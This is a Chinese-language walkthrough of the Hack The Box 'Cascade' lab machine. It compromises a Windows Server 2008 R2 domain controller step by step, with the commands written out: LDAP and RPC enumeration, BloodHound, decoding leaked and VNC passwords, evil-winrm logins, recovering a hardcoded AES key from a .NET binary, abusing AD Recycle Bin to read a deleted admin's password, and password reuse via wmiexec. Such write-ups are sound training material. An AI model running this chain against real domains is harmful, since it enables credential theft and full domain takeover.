Nmap扫描
nmap -A -T4 10.129.140.108
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 00:59 EST
Stats: 0:03:09 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.15% done; ETC: 01:02 (0:00:00 remaining)
Nmap scan report for 10.129.140.108
Host is up (0.82s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-06 06:00:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -3s
| smb2-time:
| date: 2023-02-06T06:02:10
|_ start_date: 2023-02-06T05:55:31
| smb2-security-mode:
| 210:
|_ Message signing enabled and required
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 902.79 ms 10.10.16.1
2 903.31 ms 10.129.140.108
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 201.53 seconds
发现这是一台域控服务器系统是Windows Server 2008 R2 SP1,域名是
cascade.local开放了dns和全局编录服务器,下面的思路是尝试匿名攻击
如:ldap匿名访问、smb匿名访问。
Ldap匿名访问
命令:python3 windapsearch.py -U --full --dc-ip 10.129.140.108
发现可以匿名访问
发现一个账号的疑似密码可能通过base64加密了
userPrincipalName: r.thompson@cascade.local
cascadeLegacyPwd: clk0bjVldmE=
尝试base64解密
命令:echo clk0bjVldmE= | base64 -d
解密成功:rY4n5eva
r.thompson@cascade.local
rY4n5eva
rpclient与smbclient匿名访问
smbclient可以匿名访问成功但是没有啥内容
rpcclient匿名访问命令:rpcclient -U '' -N 10.10.10.182
rpcclient $> enumdomusers
发现枚举到了不少用户
使用booldhound分析域环境
命令:
python3 /home/kali/Desktop/AD/BloodHound.py-master/bloodhound.py -u r.thompson -p rY4n5eva -d cascade.local -ns 10.129.140.108 -c DcOnly
通过对r.thompson用户的分析发现它属于IT组并且不在远程登录组中,
也就是说无法进行登录,并且在IT组总共拥有3个用户只有r.thompson用户
不在远程登录组,S.SMITH@CASCADE.LOCAL和ARKSVC@CASCADE.LOCAL
都在远程登录组中,ARKSVC@CASCADE.LOCAL并且拥有AD Recycle Bin权限,
r.thompson看看能否获取IT组下其余两个用户的凭据信息进行远程登录。
AS-REP Roasting攻击
发现没有设置不需要 Kerberos 预认证的属性,攻击失败。
使用smbmap检查r.thompson用户权限
命令:
smbmap -H 10.129.140.108 -u r.thompson -p 'rY4n5eva'
回显:
NETLOGON、print$、SYSVOL、Data拥有只读权限
使用smbclient发现泄露密码信息
命令:smbclient \\\\10.129.140.108\\NETLOGON -U r.thompson
回显:
看起像是映射脚本,Audits目录r.thompson暂时无法访问,可以访问Data目录。
在Data\IT\Temp目录下发现了s.smith目录。
有一个VNC的文件下载到本地分析下,因为有空格的问题使用 mget * 命令下载全部文件。
文件下载到本地发现里面存在password信息但是被加密了。
VNC解密
解密工具源码需要自己编一下
https://github.com/jeroennijhof/vncpwd
使用010Editor编辑器创建一个十六进制文件,并填写上述Password的十六进制保存为bin文件
使用Visual Studio编译
解密成功:
sT333ve2密码推测为s.smith的密码因为是在名为s.smith目录下发现的。
s.smith
sT333ve2
验证成功密码没有问题
使用s.smith进行信息收集
使用Evil-WinRM登录成功
命令:evil-winrm -i 10.129.140.108 -u s.smith -p 'sT333ve2'
通过smbmap发现该用户可以访问Audit目录之前在泄漏的vbs脚本文件中发现过看看都有哪些内容。
user flag
连接到Audit目录并在DB目录下发现Audit.db文件是SQLITE3数据库文件
查看数据库内容
https://gchq.github.io/CyberChef/ 尝试了下解密没有成功。
在RunAudit.bat中发现是通过CascAudit.exe进行操作的怀疑可以通过CascAudit来解密拿到密码
逆向CascAudit.exe文件获得密码
发现是CascAudit.exe是.Net文件
发现运行异常:
使用xdbg逆向调试
可能是程序本身的问题?断下CreateFileW和CreateFileA是否加载了.db文件
直到异常出现也没有加载.db文件使用Process Monitor看看有没有加载
发现CascCrypto.exe也没用加载CascCrypto.dll文件,并且CascCrypto.dll也是.net文件
发现似乎没有加载Audit.db文件,不过幸好是.net文件可以使用dnSpy看源码
下载:https://github.com/0xd4d/dnSpy/releases
分析CascCrypto.exe源码,在入口找到解密逻辑
这里发现使用了using System.Data.SQLite,这里推测是因为缺少下面两个dll才导致运行失败
发现还是不行直接先看下代码发现了一下解密逻辑
CascAudit.exe:
string text = string.Empty;
string password = string.Empty;
string text2 = string.Empty;
try
{
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP",
sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
{
sqliteDataReader.Read();
text = Conversions.ToString(sqliteDataReader["Uname"]);
text2 = Conversions.ToString(sqliteDataReader["Domain"]);
string text3 = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(text3, "c4scadek3y654321");
}
catch (Exception ex)
{
Console.WriteLine("Error decrypting password: " + ex.Message);
return;
}
}
}
sqliteConnection.Close();
}
CascCrypto.dll:
public static string DecryptString(string EncryptedString, string Key)
{
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = 1;
aes.Key = Encoding.UTF8.GetBytes(Key);
string @string;
using (MemoryStream memoryStream = new MemoryStream(array))
{
using (CryptoStream cryptoStream = new
CryptoStream(memoryStream, aes.CreateDecryptor(), 0))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
@string = Encoding.UTF8.GetString(array2);
}
}
return @string;
}
key c4scadek3y654321、 IV 1tdyjCbY1Ix49842、128-bit AES 得到密码w3lc0meFr31nd,
下面是用python写的解密程序
import pyaes
from base64 import b64decode
key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
aes = pyaes.AESModeOfOperationCBC(key, iv = iv)
decrypted = aes.decrypt(b64decode('BQO5l5Kj9MdErXx6Q6AGOw=='))
print(decrypted.decode())
AD Recycle Bin权限的滥用
通过泄漏的sqlite数据库拿到了ArkSvc的账号密码
arksvc
w3lc0meFr31nd
通过之前的分析ArkSvc在远程登录组中可以进行远程登录。
AD Recycle Bin是一个Active Directory 对象恢复(或回收站),
允许管理员恢复已删除的项目,如果启用了 AD 回收站,当对象被删除时,
其大部分属性会保留一段时间,以便在需要时恢复对象。
ArkSvc拥有AD Recycle组权限尝试恢复对象看看有没有高价值信息
使用evil-winrm登录
查询域内所有已经删除的对象
命令:
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
发现了一个明文TempAdmin的账号猜测可能是临时管理员
获得该账号详细信息:
Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
看到了密码通过base64解密拿到明文密码,baCT3r1aN00dles
拿到一个密码但是账号已经注销,这里尝试一下喷洒该密码,
账号名叫临时管理员,那么密码是否与域管账号相同呢这里撞一下试试。
使用wmiexec登录域控拿到system权限
命令:
python3 wmiexec.py administrator:baCT3r1aN00dles@10.129.50.216
总结
通过nmap扫描发现是Windows Server 2008 R2 SP1,域名是cascade.local,
发现Ldap可以匿名访问找到r.thompson@cascade.local并使用base64解密拿到密码,
使用booldhound分析域环境,r.thompson用户的分析发现它属于IT组并且不在远程登录组中,
也就是说无法进行登录,并且在IT组总共拥有3个用户只有r.thompson用户不在远程登组,
S.SMITH@CASCADE.LOCAL和ARKSVC@CASCADE.LOCAL都在远程登录组中,
ARKSVC@CASCADE.LOCAL并且拥有AD Recycle Bin权限使用smbmap检查r.thompson用户权限
发现Data\IT\Temp目录下发现了s.smith目录里面找到一个VNC文件,文件下载到本地发现里面存在
password信息但是被加密了,使用VNC解密工具解密成功拿到s.smith账号权限,通过smbmap发现
该用户可以访问Audit目录Audit目录并在DB目录下发现Audit.db文件是SQLITE3数据库文件,
发现arksvc账号信息并使用dnspy分析同级目录下CascAudit.exe文件和CascCrypto.dll,找到
解密的逻辑拿到arksvc密码,通过之前的booldhound分析知道arksvc拥有AD Recycle Bin权限,
使用AD Recycle Bin权限滥用还原TempAdmin账号信息进行base64解密密码拿到明文密码,
根据用户名称TempAdmin推测可能是之前域管的密码使用密码重用攻击成功登录到administrator域管账号,
使用wmiexec登录域控拿到system权限。